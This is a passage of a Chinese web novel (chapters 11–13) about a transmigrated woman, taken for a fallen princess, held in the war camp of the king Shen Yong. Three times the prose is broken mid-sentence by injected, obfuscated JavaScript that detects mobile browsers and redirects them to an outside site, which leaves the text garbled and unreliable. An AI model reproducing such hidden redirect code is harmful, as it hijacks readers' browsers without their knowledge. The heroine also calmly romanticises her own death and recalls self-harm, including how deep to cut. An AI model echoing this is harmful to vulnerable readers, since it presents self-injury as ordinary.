这两个人,真是奇怪的相处模式。 - 柳忆春被沈雍拉走,也不问要去哪里。 反正问不问都没什么差别。 一路上,两个人就这么奇怪地走着,不时有官兵对他们行礼。 “参见王上!参见柳夫人!” 柳忆春心头怪异,视线落在握住自己右手腕的那只大手上,他温热的体温正从他手心源源不断地涌到她腕上。 如果她没有想错,他这样在大庭广众之下牵着她的手腕,在这个朝代绝对不可能发生在没有关系的男女身上吧。 又要杀她,又要让她顶着他女人的名头,这是在玩什么play吗? 沈雍一偏头便看见了她若有所思的样子,这幅一点不多问、乖巧跟着他走的样子倒是有些出乎他的意料。 “对自己的新身份满意吗?公主。” 他将“公主”二字咬得很重,柳忆春感觉他在嘲讽自己。前朝公主又怎样?如今还不是得趋于灭国仇人身下,做他沈雍的女人。 可她并不是真的公主,对于这点,她的心里一点波澜也没有。 于是她偏头对上了他略带嘲讽的眼,“还行?” 脖颈上的伤已恢复如初,柳忆春的嗓音也终于变回了平常的样子,沈雍第一次听见她真正的嗓音,确如他所想那般柔和动听。 但是她这无所谓的回话吧......沈雍的嘲讽之意不禁从眼底扩到了唇角。 再开口时,他唇角分明带笑,语气却变得更冷,“也不知驸马瞧见你这幅无所谓的样子,会如何作想。” “啊...?” 柳忆春惊大了眼,这么刺激的吗?她还有驸马?这个所谓的王上爱好人妻? 不过,公主真可怜,嫁人了还被仇人抢去折磨,那个驸马是吃白饭的?! 果然,死亡才是她最好的归宿。 这里太复杂了。 沈雍却没再说话,似乎并不期待她进一步的回应。 又走了几步,柳忆春没忍住好奇,朝他发问:“那驸马呢?”不会被杀了吧? 沈雍停下脚步,眯着眼垂眸看她,“难不成你还希望他来救你?” 接着,他迎着她懵懂的眼神说出淬毒的话,如果是真的公主,听了也不知会多伤心。 “别做梦了,他早撇下你自己逃了。” 11. 想尝 “哦。” 柳忆春语调平静,垂下了头,在心里默默感叹,公主真的好可怜,难怪她也很想死。 沈雍见她这幅模样,也不知脑补了什么,握住她手腕的力气加大了些,抬步继续拉着她往一个方向走。 是一座小山,山脚下目之所及都是沈军驻扎的军营。 春日里,山间姹紫嫣红,蝶飞蜂舞,鸟雀衔枝,煞是好看。 沈雍继续拉着她往内走着。 柳忆春重伤初愈,跟着他走了这么远已是累极,额头上早就布满了细密汗珠,连呼吸都急促了不少。 好累,这人要干嘛? 沈雍自是察觉到了她的疲惫,但并未因此放慢脚步,直走到半山腰才拉着她停下。 树枝繁茂,满是新绿,阳光透过缝隙,在地上洒下活泼的光影,正随微风轻轻跳动。 鼻尖一阵清新之气,是泥土和青草的味道。 沈雍极目远眺,心情极其畅快。 他偏头看向身侧弯腰喘气的柳忆春,“不问问我带你来干什么?” 柳忆春气还未喘匀,“荒郊野岭...杀人灭口...毁尸灭迹,方便呗。” 沈雍听着,额角不自觉跳了跳,捏起她的肩膀与她对视。 林间晃动的日光落入柳忆春略显无辜的眼眸,“?” 半晌,沈雍却只是意味不明地刺她,“你倒是有自知之明。” 柳忆春依旧没什么多余情绪,站直了身体,“来吧,你今天想玩什么花样。” 她的视线从他身上掠过,最后定在了他腰间佩剑上,这可以拿来送她上路吧? 鬼使神差地,她上前一步,握住了剑柄,缓缓往外抽。 阳光在利刃上反射出强光,又准确无误地落在柳忆春隐含兴奋的眸子里。 她的语调突然变得很轻,带着些蛊惑。 “用剑也不错,你可以在我四肢各划几道,然后把我丢在这里,血慢慢地流干,我会痛苦地死,还说不定能吸引来野兽,撕碎我、吞下我,最后我将尸骨无存,永远消失......” “这样够解你的恨了吗?王上。” 沈雍在看见她伸手握上剑柄时便忍不住眉心一跳,想阻止她,却又鬼使神差地想知道她想干什么。 此刻,听到她后面的话时已是狠狠皱眉。 她如何能将死亡如此轻飘飘地描绘出来?仿佛那不是在说她自己。 她嫩白的手正费力地将剑柄继续往外抽,雪白的手,乌黑的柄,毫不相配的两个东西,如今却交叠在一起。 对面的人无知无觉,这剑柄曾对她做过什么他却一清二楚。 一股异样从心底涌起。 利剑已被抽出一半,沈雍突然一言不发地抬手将它按回剑鞘,大掌覆盖着的,除了剑柄,还有她的两只手。 “回去吧。” 与来时一样,下山的路他也全程握着她的右手腕。 沈雍的步伐不自觉加快了许多,柳忆春却一声未吭,就这么默默跟他走着。 回程一路沉默,二人再无交谈。 但他能感觉到,她身上的失望已经溢出来了,溢得周围的空气里全是。 第二日,柳忆春睡得正香,突然被人从床上薅了起来。 迷迷糊糊睁开眼,果然又是沈雍那张臭脸。 柳忆春最恨睡不够,怒视着他,摆出了一张更臭的脸。 卫大娘在一旁看得胆战心惊,两个当事人却毫无知觉。 不多时,沈雍便如昨日一般拉着她往外走去。 依旧是那座小山,依旧是那处半山腰。 其实也依旧是那个时间,只不过昨日柳忆春着实累着了,这才导致今早起不来罢了。 他们也不怎么说话,就静静地走着,路过的士兵无不感叹一句—— 不愧是王上,携美人出游时还这么不苟言笑。 就这么过了几日,柳忆春每天除了吃、睡,就是被他拉着爬山......应该算是爬山吧?不然每天固定时间被他拉着沿着固定路线转悠,不知道的还以为NPC卡bug了呢。 再一次站在那处半山腰时,她感觉心肺全不似第一日那般灼痛,呼吸也平缓了很多。 柳忆春时常不理解这位王上的行事逻辑,不知道的还以为他专门来带她锻炼来了。 咻—— 就在二人准备如往常一般下山时,突然传来破空声。 沈雍霎时将柳忆春护在身后,飞速拔出长剑,利落斩断了破空而来的利箭。 瞬间,蒙面刺客渐渐包围,如雨箭矢扑面而来。 居然有人行刺! 柳忆春从来没见过这种场面,不禁有些热血沸腾。 沈雍的身法极好,挥剑的速度也很快,愣是没让一支箭近他们的身。 刺客一行人见箭矢未能如愿杀他,立马举刀蜂拥而上。 “上!趁着没人,杀了那个狗贼!” 对方加上弓箭手约莫有十余人,兵刃相接的铮鸣立时在林间回响。 柳忆春则被沈雍紧紧护在身后,长剑挥过的剑气拂过她鬓角垂落的黑发,青丝兀自起舞。 紧紧盯着场上战局,她不合时宜地想—— 这种时候,“为王上挡刀而死”,似乎也是个不错的选择? 于是她有意无意地离开沈雍的保护圈,一双大眼睛紧紧盯住对面挥刀的轨迹。 沈雍御敌的动作如行云流水,流畅且力道十足,这些刺客进攻了半天都没能突破他的防御圈。 柳忆春盯了好半晌才终于找到机会,一个跨步就要拦在沈雍身前。 嗤—— 是利刃划破血肉的声音。 然而,预想中的疼痛并未到来,柳忆春反而被一股大力抡得有些晕眩。 再抬眼看去,沈雍的右臂正随着挥剑的动作甩出血色弧度。 空气中一股血腥气。 他下压的眉眼匆忙瞥她一眼,很快又投入战斗。 柳忆春从那一眼中,看到了大写的失望。 “......” 眼睁睁看着机会流失,她也很不爽好吧! 然而让她更不爽的是,没一会儿周围就传来了嘈杂的脚步声,当看到周围的刺客开始分心对外时,她明白—— 援军来了。 来人不少,一众刺客很快被制住,连自戕的间隙都没有留给他们。 仔细检查过后,领头的尉迟丰上前向沈雍复命。 “属下参见王上!您所料不错,果然是幽州王派的人!” 沈雍声音很冷,激战后语调依旧平稳,“嗯,明日直接攻打幽州。” “至于这些人,就地斩杀。” “是!” 幽州位于京师以北,也是越朝最北的封地,面积不大,但离京很近。 如今的幽州王是老皇帝的同胞皇弟,也许是想复仇,也许是不愿屈于沈雍之下,连续几日沈雍带着显眼的公主大张旗鼓地独游,他们终究是在今日出手了。 大军不多时便要南下,正好趁此机会吞掉这个残留的尾巴。 尉迟丰得了命令,心潮澎湃。 当初攻破皇城时,他就曾提议,要不顺手将幽州也给端了。可沈雍说可以等他们主动上门,届时再出手,名正言顺。 没想到,一切果然如王上所料。 尉迟丰起身后,不期然与沈雍身后的却柳忆春对视一眼。 那日将她带回军营时,她一直双目半阖。没想到,蜷翘长睫的遮掩之下,竟是这样一双冷清却勾魂的眼睛,嵌在这张冷白的脸上,宛如冰冷的神女雕像被点化生灵。 尉迟丰被狠狠一击,慌乱垂眸。却见沈雍右臂竟在淌血,立马又惶恐地跪了回去。 “王上受伤了!快请范医师来瞧瞧,可别有毒!” 听到这,柳忆春猛地看向沈雍。 沈雍对此却全不在意,淡声朝尉迟丰吩咐:“明日出发之前,给我揪出内应。” 尉迟丰瞬间睁大了眼,“属下遵命!” 明日!尉迟丰头很大,应声后飞快带着人离开。 士兵退散,只留了两人远远地护着沈雍与柳忆春。 柳忆春瞥向沈雍右臂的伤口,眉头一皱,一开口却都是刺。 “你干嘛坏我好事?” 沈雍简直气笑了,他为救她而伤,她不关心他就算了,竟还反过来怪罪他。 方才士兵得了命令,已将一众刺客斩杀在地,方才还清香弥漫的林间,此刻满满都是血腥味。 可眼前娇滴滴的女子却仍是面不改色,满脸都是计划被打乱的不耐烦。 沈雍心头冷笑,掰过她的脸看向那堆歪七扭八的残骸,俯身在她耳边低语。 “公主值得一个更美的死法。” 柳忆春期待地偏头问他:“什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533787|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >距离突然变得极近,二人几乎呼吸相闻,黝黑的、清浅的眸里倒映着彼此的面庞,远处的士兵纷纷将头埋得更低,不敢直视。 沈雍微不可查地僵了僵,随即直起身子拉着她往山下走。 “本王因你而伤,先回去伺候我上药。” 柳忆春:“......” 行吧,她现在几乎可以确定,这人根本舍不得杀她,甚至也不会如他所说再折磨她。 这位王上,分明就是色厉内荏。 啧啧啧,这就是爱情的力量吗?就算她已嫁为人妻,就算她做了让他愤恨的事情,他依旧会为了她一再让步。 不过......她要如何是好呢? 她原本只想悄无声息地来,又安安静静地离开,从她最近得来的信息来看,这公主涉及的社会关系忒复杂了些,甚至还有个驸马。 而她根本不是公主本人,不知与这位王上的前尘往事,也对驸马是何方神圣全然不知,实在没有心力应付这一摊烂事。 唉,真是讨厌,休息好了的脑子怎么又开始自动分析这些有的没的! 不过,这位王上不要她死就不要她死吧,她虽然没有什么非要活着的理由,可死亡也不是她千方百计非要达成的目的。 反正这里没有人能束缚她,她也不用担心再“对不起”谁,那就凑活过吧。 也许哪天他们发现不对劲,就把她当成女巫烧掉;也许哪天还有更触手可及的死亡机会,可以让她毫不费力地上路。 至于现在,那些什么活啊死啊,她也懒得耗费那个脑细胞去多想了。 没劲得很。 一路上,二人一言不发,未再交谈。 沈雍将她带回了自己的主帐,正是前些日子柳忆春养伤的那里。 又是一段时日过去,内里浓重的药气已散尽,取而代之的是独属于沈雍的气味。 柳忆春竟觉得有些好闻。 他一进帐便兀自脱去了外衣,染血的里衣半解,露出他筋骨匀称的右臂、深陷的锁骨与一小片饱满的胸膛。 “药箱在兵器架旁的矮柜里。” 指使起她来,倒是顺手得很。 “不用请范医师来看看?” 沈雍看她一眼,“要真有毒,我早就倒下了。” 好吧。 柳忆春依言取来,放到身前的桌案上,随即跪坐在他右侧。 视线有意无意地瞥过他裸露的身子,柳忆春不禁暗叹,穿衣显瘦,脱衣有肉,身材果然很不错。 “比之驸马如何?” 嘶,居然知道她在看他。但这个问题嘛,她不知道。 于是她很坦诚地回答,“不知道。” 对面回以一声嗤笑。 药箱里有干净纱布,柳忆春熟练地取来为他清理血迹,伤口不算长,也不深,现在已几乎止住了血,她知道该怎么做。 沈雍偏头看她,不由分开口:“你会处理伤口?” 柳忆春没有抬头,“嗯。” 这是当然,以前每次自伤,都是她自己处理的。久而久之,她甚至知道下手到哪种程度刚好可以不用缝针。 头上那道视线变沉了些,柳忆春没有理会,倒是看着他的手臂,她忽地有些头脑发昏。 肌肉流畅、血管凸起,没有丝毫赘肉,只一层薄薄的皮覆在上面,但没人会怀疑这层人皮之下的血肉是多么富有力量。 凑在他的手臂旁,他身上那股好闻的气味越来越浓了,混杂着一贯能让她强烈兴奋的血腥味。 方才她下意识控制距离,丝毫没有触碰到他的皮肤。 但此刻,似是不受控制般,细白的手宛若一截细腻的丝带一点点缠绕上粗壮的枝干。 这棵树的表皮光滑,被缠上的瞬间本能地想抽开,却又硬生生停住,枝干绷得更紧,脉搏也有些快。 柳忆春以前好奇地尝过自己血液的味道,现在盯着这截完美手臂上腥红刺目的伤口,一股冲动突然在她脑海里疯狂叫嚣—— 想尝。 想尝尝,和她的血味道一样吗? 思绪漂浮着,柳忆春手上的动作渐渐放缓,转而用两只手捧着他的手臂,带着些诡异的虔诚。 她低头,越靠越近,轻柔的呼气洒在伤口处。 察觉不对,沈雍正想彻底抽手,她却已伸出粉嫩舌尖,在他伤口上快速轻舔一口。 空气瞬间凝滞。 12. 生气 “你干什么!” 沈雍被右臂绵软痛痒的触感惊得浑身一震,失态地将她一把拎起来,难得地瞳孔地震。 这种行为让他想起了一些不太美妙的回忆。 柳忆春顺着他的力道抬起头来,一边坦然迎视他恼怒的目光,一边懒懒地舔舔唇。 也许是因为舔舐了鲜血,她的唇色红艳,仿似专门吸人精气的山野精怪。 气氛愈发焦灼。 见她不仅将他忽视了个彻底,还开始神游天外地品味,沈雍的脸色像吃了苍蝇一样臭,像甩开脏东西一样将她猛地甩开。 咚—— 柳忆春顺着他的力道直愣愣地跌倒在地,竟是丝毫不在意身上尚未痊愈的伤。 明明被粗鲁对待,她却没什么表情,甚至还慢吞吞翻了个身让自己躺得舒服点。 血的味道居然是一样的。 那方才让她上头的,应该就是他身上的那股香味了。 一个大男人,身上为什么会有香味呢? 她从来不爱买香水,可他身上的味道却想让她复刻一个,开心不开心都往身上喷一点。 柳忆春没有理会他愤怒的目光,躺够了,慢悠悠爬起来坐回原地后,非常认真地问出了她正疑惑的问题。 “你熏香了吗?你身上好香。” 她的目光不加修饰,直直地看向他裸露出来的肌肤。 沈雍几乎怀疑自己听错了。 堂堂一国公主,竟罔顾自己已有驸马的事实,对他这个灭国仇人说出这样轻浮的话? 这不是他印象中冷淡如仙的懿春公主能做出来的事情。 终是受不了她直白的目光,沈雍快速将衣裳重新披好,深吸一口气,再开口时语气又冷又硬。 “滚。” “......哦。” 柳忆春见他好像真的生气了,不禁目露失望。 慢吞吞收回目光,又慢吞吞起身,在踌躇着脚步快要出帐的时候,她还是没忍住回头再看了他一眼,也没忍住又舔了舔嘴唇。 他应该察觉到了她的目光,额上暴跳的青筋明晃晃昭示着他的心情有多恶劣。 见好就收。 在他将更骇人的目光投向她之前,柳忆春终是放下帐帘离开了他的营帐。 四周恢复寂静,沈雍盯着尚在晃动的营帐门帘久久不语。 懿春公主真的是这样的人吗? 僵硬了半晌,他才终于有了动作。 熟练地为自己重新处理伤口,方才被她舔舐过的地方却像是仍有暗火在烧。 很奇怪,伤处明明已经擦干净了,也包扎好了,却无端有一股燥热从右臂那处直烧向心尖。 这个人当真是,不知廉耻! - 接下来的几日,沈雍都破天荒地没有来拉她起床爬山。 也不知是因为目的已经达到,还是那日被她吓到了。 生物钟的养成如此轻易,柳忆春早早就醒了,此刻正躺在床上盯着透入晨光的帘帐发呆。 她似乎从来没有这么早就精力满满地自然醒过。她总是对新的一天不抱有任何期待。 来到这个陌生的世界已差不多一个月,她最初受的伤已几乎痊愈。 没想到,像块烂肉一样躺了这段时间后,往常周末恨不得长在床上的宅女,竟破天荒地有了起身活动的想法。 这么想着,她也就爬了起来。 过了这么久,她已经学会怎么穿这里的衣服了。 其实说是衣服,不如说是很多块围在不同地方的布,而且这个朝代没有内裤这种东西,她每次走路都觉得像在裸.奔。 卫大娘在帐内忙碌着,方才想上前伺候但被柳忆春制止了。 此刻,见她自己慢吞吞穿好了衣服,她在一旁展露出又欣慰又心酸的表情。 柳忆春大概能猜到她在想什么,多半是一些感叹小公主不容易,或者是小公主成长了之类的话。 她也懒得和她多说什么。 但她今日有些无聊,这里没有她的电子奶嘴——手机,她只好有一搭没一搭地和卫大娘闲聊。 “卫大娘,您为什么会在军营里呀?我这几天在外面见到的,全是男子。” 见她破天荒地主动与自己聊天,卫大娘脸上笑容更盛。 “柳夫人您有所不知,属下其实在伙食营当差,许是因为军中没有别的女人,所以王上才派我来照顾您的。” 柳忆春暗中咋舌,居然一个女的都没有,古代是不是还没有文艺兵这个兵种啊? 也对,这里生产力落后,交通工具还得靠最原始的牛马,女子在军中难免拖累行军速度,这样的全男团也不奇怪了。 想着,她便真心实意地夸赞卫大娘,“您真厉害,吃得了随军的苦。” 闻言,卫大娘倒是有些震惊,“公主果然见识不比常人。”毕竟,她这辈子听得最多的话,就是说她混在男人堆里,不知检点。 她略带自豪地解释,“不过嘛,属下能在这里混口饭吃,主要还是军中那群臭崽子们离不开我的手艺!” “我呀,最擅长......” 耳旁的话渐渐变模糊,柳忆春的注意力已完全被她神采奕奕的脸庞吸引。 她瞧着不过四十多岁,是柳忆春穿越前常见的“热气腾腾”的中年人,他们和她一样,提起自己的工作时,总是神色飞扬,眉眼生动,一看便有纯粹的热爱,也很为自己自豪。 柳忆春时常想不通,老一辈人是怎么做到那么有干劲的,而她明明年纪轻轻,却把自己活成了这副死气沉沉的样子。 看着卫大娘发着光的眼睛,柳忆春突然提议,“您能不能带我去伙食营转转?” 她看得很清楚,她刚说完时卫大娘的表情下意识变得兴奋,显然是很乐意带她去的,但话在舌尖转了两圈,再开口时她却微微苦着脸。 “还是算了吧柳夫人,王上吩咐过,我最近只需照顾您的起居即可,伙食营的事情都可以放到一旁去。” “而且,庖厨之地难免荤腥油腻、烟灰漫天,您去那种地方不合适。” 柳忆春听着,不禁腹诽,沈雍吩咐的就一定得遵守吗?她偏不。 而且,她老好奇古代是怎么做饭的了。最近的吃食她都很满意,她很想知道,这么庞大人数的饭菜,是怎么做得又好吃又够量的。 于是她对卫大娘柔柔一笑,“没事的,王上若是怪罪,有我顶着。” 说完,柳忆春干脆起身拉着卫大娘往外走。 倒是卫大娘见她这个样子有些惊讶。 这位公主看着柔柔弱弱的,周身气度却真不是一般人能有的。 既然主子发话了,她也没有一再拒绝的道理,想起往日里她每日施展身手的地方,还真有些想念! 想着,卫大娘也没再推脱,脚步轻快地为她引路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533788|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人开开心心地离开主帐,完全没有注意到角落里一道一闪而过的暗影。 木三灵巧地落入主帐,沈雍早已于案前静候。 “伺候公主的侍从,可找着活口?” 木三跪地行礼,“禀王上,昭月殿的宫人们在城破时皆已出逃,属下探到了些许线索,但将人带回还尚需时日。” 沈雍眉头轻蹙,对手下的办事进度有些不满,“那宫外公主府伺候的呢?难道一个都抓不到?” 木三有些疑惑,四年前,前朝皇帝为懿春公主和楚珣赐婚,但他对这个女儿极其宠爱,要把她留在身边直到年满二十才出宫成婚。 公主年方十九,那懿春公主府如今还是一堆木头架子,除了做粗活的人,哪有什么公主的侍从?更别说贴身伺候的了。 但他还未来得及解释,就听到帐外一阵急促的脚步声。 “启禀王上——” 是尉迟丰急切的声音。 能让他如此着急的,想必是要紧的事情。 沈雍与木三对视一眼,语气沉沉地为这次会面画下句点,“继续找!” “是。” 木三一向不轻易出现在沈雍的臣属面前,一阵轻风掠过,主帐便只剩沈雍一人。 尉迟丰仍如往常一样直奔沈雍营帐,完全忘了如今在外围就有守卫把守一事,直到被拦下才想起来要请他们去通禀。 然而不待他开口,沈雍已经从主帐走了出来。 “何事?” 守卫们听见沈雍的声音,连忙回身行礼,将尉迟丰放行。 尉迟丰进帐时,沈雍已端坐于桌案之后,像一座稳固的山。 “启禀王上,幽州王的内应已被揪出,不过...” 他有些焦急,在停顿的间隙看了眼沈雍,见他依旧是一副不动如山的样子,便继续说了下去,天塌下来还有王上顶着呢。 “不过,我军中除了幽州王的内应,还有其他心思不纯的人,属下尚未打草惊蛇,还望王上裁决!” 沈雍听完他的禀告,坐姿分毫未变,神色也没有什么变化,几息之后淡淡应道: “今日集军于校场,把那个内应绑了,鞭死后,再暴尸三日。” “至于其他可疑之人,你做得对,先别动他们,暗中留意便可,这样的棋子,我们也得物尽其用才行。” 得了准确的指令,尉迟丰心里一下子安定不少,也发觉方才是自己太过紧张了。 再抬眼时,看向沈雍的目光又恢复了平日的沉稳冷静。 “王上英明,属下这就照办!” 沈雍微微颔首,尉迟丰快步离开。 桌案之后,沈雍渐渐放松了紧皱的眉头,身子也卸力靠向一侧,右臂则随意地搭在桌案上。 丝丝痛意从伤处传来,他才松开的眉头不禁又皱了起来。 倒不是他沈雍受不了这一点痛,而是又想起了那日发生在这里荒唐的一幕。 她的舌尖柔软,舔在伤处又痛又痒,明明他早已勒令自己忘记那诡异的触感,却总是在公务间隙被不听话的大脑再次背叛。 今日没有去烦她,她会在做什么呢? 正想着,远远传来一阵喧哗。 走出帐外,正午的阳光明晃晃地晒着,值守的侍卫仍未换班。 “怎么回事?” 守卫立刻行礼,恭谨回答:“王上息怒,说是伙食营那边出了些岔子。” 13. 惩罚 当柳忆春被沈雍拎着后颈的衣领揪回主帐时,依然非常气闷。 怎么就把人“厨房”给烧了呢? 她明明动作得非常谨慎啊! 从来!她从来没有在哪一件事情上做得这么差过,从来! 不行,她就不信了。 她总有一天要征服厨房! 一瓶药膏朝她飞来,柳忆春下意识接住。 “自己上药。” 按下心中的波涛汹涌,她闷闷地答:“哦。” 慢吞吞走到桌案边,毫不客气地在沈雍惯常爱坐的位置落座,撩开两边参差不齐、湿漉漉的衣袖,柳忆春开始涂药。 ——方才她这个始作俑者离案发现场最近,衣袖被烧了些不说,手臂还被溅了些热油。 她还没来得及呼痛,就眼睁睁看着火苗顺着一路漏下来的油直接将木柴全部引燃,再然后,堆放食材的简易木架也遭了殃...... 想起还在伙食营善后的卫大娘,柳忆春心里很过意不去。 她最讨厌的就是麻烦别人了。 本想留下来帮忙,结果却被眼前这人一把拎走,还嘲讽她说:“再帮下去,整个军营都要被你给烧了。” 想着,柳忆春掀起眼帘,悄悄瞪沈雍一眼。 不料,竟直接撞进了他似笑非笑的黑眸之中。 沈雍并不心疼那些食材,整个军营少吃一顿新鲜饭也不算什么大事。他只有些感叹,眼前这团小小的身影可真会给他制造“惊喜”。 一个十指不沾阳春水的公主,怎么会想到要去下厨的? 不过最好笑的还不是这个,而是她惨败之后的表情。 不敢置信、不知所措,那双总是平静无波的眼睛,也破天荒地带上了慌张和歉意。 这是他这么久以来第一次见到这样生动的、带着活人气的表情出现在她脸上。 不可谓不难得。 见她瞪来,沈雍稍稍板起些脸,“说说吧,我这伙食营如何惹你了,今日竟劳您屈尊降贵过去烧了它?” “我没!” 柳忆春有些生气,但她一向不习惯承认自己的失败。做不好的东西她只会在私下重复练习一百遍、一千遍,直到达标,就像以前准备考试一样。 她决不允许自己失败。 “我哪知道它怎么就烧起来了......” 不想和他掰扯,柳忆春涂好药膏就要走,沈雍却一手按住她的脑袋让她坐下。 按头这种屈辱的动作,柳忆春深吸一口气,没忍住眼里飞刀,“干什么?” “烧了伙食营,这就想走?” “烂命一条,你看着办。” 他似是轻笑了一声,捏起她的下巴,轻轻抚平她轻皱的眉头。 下一秒,又将黑乎乎的指尖展示在她眼前,“死人可一点用都没有,明日起,你每日去后山捡够一捆柴和一篮子野菜吧。” 柳忆春觉得这不算什么,她犯了错误自该补救,但她总是忍不住和沈雍呛声。 “我凭什么听你的?” 她的样子活像一只犯了错误后不仅死不悔改、还冲他呲牙的狸奴,沈雍笑了。 他像拎起小猫后脖颈一样将柳忆春从他的宝座拎起,而后大掌一推,她便不由自主不情不愿地顺着力道行至帐门处。 柳忆春回头一看,方才她瘫坐的地方已变成了他。 沈雍懒散支颐,头也未抬,“怎么?还要我送你?” “哼!” 柳忆春狠狠转回脑袋,用力迈着步子很快走远。 门帘在原地来回晃动,很久才缓缓归于平静。 沈雍坐在原地轻轻摇了摇头,她的身体果真已恢复如初了。 - 柳忆春回到住处先打水洗了个脸,又端详了一下手臂的伤。 红了一小片,没有起水泡,还好。 一个人待着无聊,她还是想去伙食营帮忙善后,却正巧看见卫大娘脚步轻快地端着食物回来。 柳忆春快步上前去接,卫大娘却轻轻闪开。 她以为她还在生气,顿时低了语气,“对不起,给您添麻烦了。” 一同行至桌案前,她眼巴巴地望着她。 卫大娘却无所谓地挥手。 “嗐!夫人真是折煞属下了。您别往心里去,这不是什么事儿!” 柳忆春仔细观察她,此刻她虽累得满头是汗,却是神采奕奕的,与这些日子陪在她身边时眼袋半拉、走路发飘的无精打采模样相比,简直是天差地别。 想起她提到伙食营的伙计时两眼发光的样子,柳忆春忽然明白过来,卫大娘喜欢的是伙食营的工作,而非天天守着她这个低精力废人。 是她打乱了卫大娘平静的生活。 “愣着干嘛呀?赶紧坐下吃呀。” 卫大娘似是知道她别扭着,大着胆子上前轻轻推她落座。 柳忆春顺着她的力道坐下后,忽然扬起剪水秋眸与她对视。 “您想回伙食营做活吗?” 直视这双冰雪般干净透亮的双眼,卫大娘有些怔愣。 其实她这个人粗手粗脚惯了,哪做得了伺候贵人这种活,这些日子她都是千般小心才没出什么大岔子,简直比以往急行军还累。 说不怀念以往那些简简单单的日子,是假的。 卫大娘不擅长掩饰情绪,下意识就想应是,话都到嘴边了才反应过来,随即连忙改口。 “我呀,待哪里都一样的,柳夫人可是嫌弃我粗手粗脚的了?” 柳忆春将她的反应看得清清楚楚,不动声色地收回目光,心里已打定主意。 - 第二日一早,天还未亮柳忆春就被床头两声突然的敲击震醒。 “怎么了吗...?” 连眼睛都没有睁开,声音慵懒含糊。 幽暗中传来一声嗤笑。 咦?卫大娘从来不会发出这样的声音。 “起来,该干活了。” 啧,果然是那个讨人厌的沈雍。 柳忆春没搭理他,翻了个身继续睡。 然而还不等她重新捂好被子,就突然被他抓着手腕从被窝里直接拎了起来。 面对突如其来的变故,她依旧没睁眼,整一个消极抵抗的状态,松松垮垮将全身的重量都吊在被抓起的手腕上,身子则顺着重力半赖在床上。 沈雍不再惯着她,略一施力便将她直接拉下床榻,柳忆春踉跄好几步才站稳。 随即,他抓起一旁架子上的衣物便兜头向她甩来。 柳忆春清醒了些,扒下头上的衣物,头发乱得像鸡窝。 她抱着衣服没动,眼睛里满是不悦,开口便是阴阳怪气。 “大晚上的,您这是梦游到我这里了?” “嗯,月黑风高正好去偷菜。” “......” 柳忆春有些无语,却从他的话里捕捉到了关键信息。 “摘野菜,需要起这么早?” 晨色清楚地映出柳忆春眼中的怀疑,瞧起来甚是可爱。 沈雍伸手轻拍她的脸颊。 “对于四体不勤五谷不分的公主来说,再早也不为过。” 柳忆春气急,一把拂开他的手,气呼呼地穿衣服。 肩头后背裸露着,她也不避讳,没一会儿就穿戴整齐。 披散的长发则随意编了个侧麻花辫。 这些日子以来,她已经很熟练了。 “走吧!” 柳忆春视死如归地往帐外走去。 倒是沈雍看着她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542052|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅利落的样子有些惊奇。 他还以为,以她的嗜睡程度,这么早被他吵起来,怎么也得再痛苦一些才对。没想到,还挺听话? 卫大娘一向起得很早,屈膝行礼后,目送一高一矮两个背影渐渐走入晨光,没忍住偷偷笑了出来。 还是去的那片后山,但是走的另一条路线。 柳忆春不合时宜地想,要是再遇到刺客就好玩了。 来时,沈雍不知从哪变出了个背篓和菜篮子。此刻,菜篮子放在背篓里,背篓背在柳忆春背上,而沈雍,一身轻松地走在前面带路。 带路就罢了,柳忆春无话可说,但他偏偏仗着自己体格优越步子迈得又大又快,而负重攀登的柳忆春一旦稍稍落后,就会被他提留着跟紧。 到最后,他握住她手腕的手直接黏在了上面,再也没有分开过。 而柳忆春无法,大半身子的重量再一次吊在了右腕上,气喘吁吁,几乎是被他拖着在走。 捡柴摘野菜的惩罚是假,拖着她空腹拉练的惩罚才是真吧? 她的体育一向很差,八百米跑到四百米喉间就会泛起熟悉的铁锈味,就像现在一样。 终于,她的身体罢工——完全变成了被他拖着走。 沈雍终于停下。 不同于她,他的呼吸依旧平稳,正面色淡淡地俯视着她。 “你太弱了。” 明晃晃的嘲讽从头顶落下,柳忆春甚至没有功夫回击他,瘫坐在地大口喘气,像个破败的风箱。 好一会儿,她才抬起潮红的脸蛋,尽量稳住声音说: “累死我,这个想法很好,可惜,我的身体不听使唤,这个死法可能达不成了......” 沈雍不说话了,朝山外望去。 远处的朝阳渐渐破开云层,丝丝缕缕的阳光洒向大地,也落到了沈雍的眉眼之上。 柳忆春的气息渐渐平复,不由自主朝日出的方向看去,红润的脸颊瞬间镀上一层柔光。 别说,还挺美的。 